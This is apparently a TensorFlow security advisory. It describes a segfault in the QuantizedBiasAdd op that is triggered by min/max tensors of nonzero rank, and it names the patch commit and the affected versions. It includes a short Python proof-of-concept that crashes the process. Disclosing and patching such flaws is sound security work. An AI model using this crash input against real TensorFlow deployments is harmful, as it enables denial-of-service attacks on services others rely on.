TensorFlow vulnerable to segfault in `QuantizedBiasAdd`
Impact
If QuantizedBiasAdd is given min_input, max_input, min_bias, max_bias tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
out_type = tf.qint32
input = tf.constant([85,170,255], shape=[3], dtype=tf.quint8)
bias = tf.constant(43, shape=[2,3], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
min_bias = tf.constant(0, shape=[1], dtype=tf.float32)
max_bias = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedBiasAdd(input=input, bias=bias, min_input=min_input, max_input=max_input, min_bias=min_bias, max_bias=max_bias, out_type=out_type)

Patches
We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0).
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
